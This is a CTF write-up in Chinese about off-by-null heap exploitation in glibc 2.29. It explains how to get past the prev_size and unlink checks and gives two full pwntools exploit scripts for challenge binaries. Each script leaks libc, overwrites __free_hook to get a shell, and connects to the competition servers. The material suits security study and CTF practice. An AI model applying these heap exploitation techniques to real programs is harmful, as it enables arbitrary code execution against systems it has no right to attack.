关于libc2.29中的off-by-null
Time: 2020-05-24 Tags: binaryLink: 关于libc2.29中的off-by-null
总述
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
libc2.29中对chunk consolidate新增的检测,需要保证prevsize和将要合并的size对应一致。这样的话,相比于libc2.23和2.27中的off-by-null,2.29中的off-by-null并不能直接通过合并三个chunk来得到一个overlapping的chunk。
这条检测之后是什么?
unlink_chunk (av, p);
直接执行unlink。因此还要满足unlink的检测。
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
所以在伪造unlink条件的时候还需要已知堆地址,之后可以得到一个包含正在使用的chunk的一个freed chunk。
因此,全新的利用方法可以是这样的:
- malloc三个chunk。
- 在chunk A中伪造chunk size和unlink的条件。
0xf50: 0x0000000000000000 0x0000000000000511
0xf60: 0x0000000000000000 0x0000000000000581
0xf70: 0x0000xxxxxxxxxf60 0x0000xxxxxxxxxf60
0xf80: 0x0000000000000000 0x0000000000000000
0xf90: 0x0000000000000000 0x0000000000000000
- 在chunk B中向chunk C溢出,并造成chunk C的prevsize和伪造的size对应,chunk C的prev_inuse为0。
- free(chunk C),得到一个包含B的unsorted chunk。
- malloc三次将三个chunk取回,并得到overlapping的chunk B。
这种利用方法需要在我们可以泄露堆地址的情况下。否则不能绕过unlink的检测。
如果没有明确的堆地址,则不能直接用这种方法构造。需要借助large bin的nextsize指针残留和fastbin的属性进行一定的堆空间布置。堆空间布置的结果跟已知堆空间的布置方法差不多。
- 构造一个large bin,在large bin中切割一个chunk甲,用它进行第一步布置。修改fd_nextsize指向一个可控的chunk乙。
0x0020: 0x0000000000000000 0x0000000000000521
0x0030: 0x0000xxxxxxxx0040 0x0000xxxxxxxx0010
注意这个0040是进行部分覆盖过后的。用于后面的small bin链表。并且这个chunk是可控的。(再次malloc可获得)
- 先free(一个无关的低二位为\x00的chunk),再free(chunk乙),之后申请一个大chunk,使这两个chunk进入small bin,修改chunk甲的bk指向fake_chunk。
0x0020: 0x0000000000000000 0x0000000000000521
0x0030: 0x0000xxxxxxxx0040 0x0000xxxxxxxx0010
0x0040: 0x0000000000000000 0x0000000000000031
0x0050: 0x0000000000000000 0x0000xxxxxxxx0020
- free(一个无关的低二位为\x00的chunk)再free(chunk甲)进fastbin,此时chunk甲的fd上有指针,再修改它指向fake_chunk,成功布局。
0x0020: 0x0000xxxxxxxx0020 0x0000000000000521
0x0030: 0x0000xxxxxxxx0040 0x0000xxxxxxxx0010
0x0040: 0x0000000000000000 0x0000000000000031
0x0050: 0x0000000000000000 0x0000xxxxxxxx0020
fd->bk=p并且bk->fd=p,可以绕过检测,接下来在下面构造off-by-null即可。
例题
Love_river
第一种构造方法我选择的是自己校赛的一道题,感谢aidai师傅。
程序直接给了堆地址,而且有一次off-by-null的机会,直接布置堆空间打hook。
int add()
{
int v1; // ST0C_4
int v2; // [rsp+8h] [rbp-8h]
v2 = 0;
while ( chunklist[v2] )
{
if ( ++v2 > 10 )
return puts("Aquaman?");
}
puts("Size of info:");
v1 = read_int();
chunklist[v2] = malloc(v1);
sizelist[v2] = v1;
puts("Info:");
my_read(chunklist[v2], v1);
printf("Your girlfriend is at %p\n", chunklist[v2]);
return puts("Done!");
}
int fakeedit()
{
int v1; // ST08_4
int v2; // ST0C_4
int v3; // [rsp+4h] [rbp-Ch]
if ( !dword_202014 )
return puts("?");
puts("Your girlfriend is NULL.");
puts("index:");
v3 = read_int();
v1 = sizelist[v3];
if ( v3 < 0 || v3 > 10 )
exit(0);
if ( chunklist[v3] )
{
v2 = sizelist[v3];
puts("Info:");
vul_read(chunklist[v3], v2);
puts("Done!");
}
return dword_202014-- - 1;
}
exp:
from pwn import *
#io = process("./love_river")
io = remote("118.190.133.9",11000)
elf = ELF("./love_river")
libc = ELF("./libc.so.6")
# context.log_level = 'debug'
def add(size, con):
io.sendlineafter("choice:", '1')
io.sendlineafter("info:", str(size))
io.sendafter("Info:", con)
io.recvuntil('0x')
return int(io.recv(12), 16)
def edit(idx, con):
io.sendlineafter("choice:", '4')
io.sendlineafter("index:", str(idx))
io.sendafter("Info:", con)
def free(idx):
io.sendlineafter("choice:", '3')
io.sendlineafter("index:", str(idx))
def show(idx):
io.sendlineafter("choice:", '2')
io.sendlineafter("index:", str(idx))
def fake_edit(idx,con):
io.sendlineafter("choice:", '6')
io.sendlineafter("index:", str(idx))
io.sendafter("Info:", con)
def dbg():
gdb.attach(io)
pause()
for i in range(7):
add(0xf8,'a')
chk1 = add(0xf8,'a')#7
chk2 = add(0xf8,'a')#8
chk3= add(0xf8,'a')#9
add(0x28,'a')#10
log.info('chk1 = '+hex(chk1))
payload = p64(0) + p64(0x1f1) + p64(chk1) + p64(chk1)
edit(7,payload)
payload = 'a'*0xf0 + p64(0x1f0)
fake_edit(8,payload)
for i in range(7):
free(i)
free(9)
add(0xe8,'a')#0
show(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x1e4f61
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
for i in range(7):
add(0xf8,'a')
free(10)
add(0xf8,'a')#10
free(1)
free(2)
free(8)
edit(10,p64(free_hook))
add(0xf8,'a')
add(0xf8,p64(system))
edit(3,'/bin/sh\x00')
free(3)
io.interactive()
这是我第一次做libc2.29的off-by-null。还是现学现卖的。
happyending
第二种构造方式是DASCTF x BJDCTF3rd的一道yds系列的完结题。
除了add里面有个off-by-null以外,其他没有啥了。
v0[read(0, bless_999[i], size)] = 0;
这道题跟Balsn CTF 2019 PlainNote
这道题差不多,直接拿它的脚本改改也能出来,但是我做的是happyending这道题,因此就写这道题吧。
from pwn import *
#io = process("./happyending")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'
def add(size,con):
io.sendlineafter(">",'1')
io.sendlineafter(":",str(size))
io.sendafter("!",con)
def free(idx):
io.sendlineafter(">",'2')
io.sendlineafter(":",str(idx))
def show(idx):
io.sendlineafter(">",'3')
io.sendlineafter(":",str(idx))
def dbg():
gdb.attach(io)
pause()
while 1:
try:
io = remote("183.129.189.60",10106)
for i in range(7):
add(0x1000,'a')#0-6
add(0x1000-0x410,'a')#7
for i in range(7):
add(0x28,'a')#8-14
add(0xb20,'a')#15
add(0x10,'a')#16
free(15)
add(0x1000,'\n')#15
add(0x28,p64(0)+p64(0x521)+p8(0x40))#17
for i in range(4):
add(0x28,'a')#18-21
for i in range(7):
free(8+i)#8-14
free(20)
free(18)
for i in range(7):
add(0x28,'a')#8-14
add(0x400,'a')#18
add(0x28,p64(0)+p8(0x20))#
add(0x28,'a')#21
for i in range(7):
free(8+i)#8-14
free(19)
free(17)
for i in range(7):
add(0x28,'a')
add(0x28,p8(0x20))#17
add(0x28,'a')#19
add(0x28,'a')#23
add(0x5f8,'a')#24
add(0x100,'a')#25
free(23)
add(0x28,'a'*0x20+p64(0x520))
free(24)
add(0x40,'a')
show(19)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1e4ca0
log.info(hex(libc_base))
for i in range(7):
add(0x58,'a')#26-32
add(0x58,'a')#33
add(0x58,'a')#34
for i in range(7):
free(27+i)
free(19)
free(34)
free(26)
one = libc_base + 0x106ef8
for i in range(7):
add(0x58,'a')
add(0x58,p64(libc.sym['__free_hook']+libc_base))
add(0x58,'a')
add(0x58,p64(one))
add(0x58,p64(one))
io.interactive()
except EOFError:
io.close()
continue
io.interactive()
本次比赛就做了这一个题,本题还没拿到一血,别的题也不会,惨惨。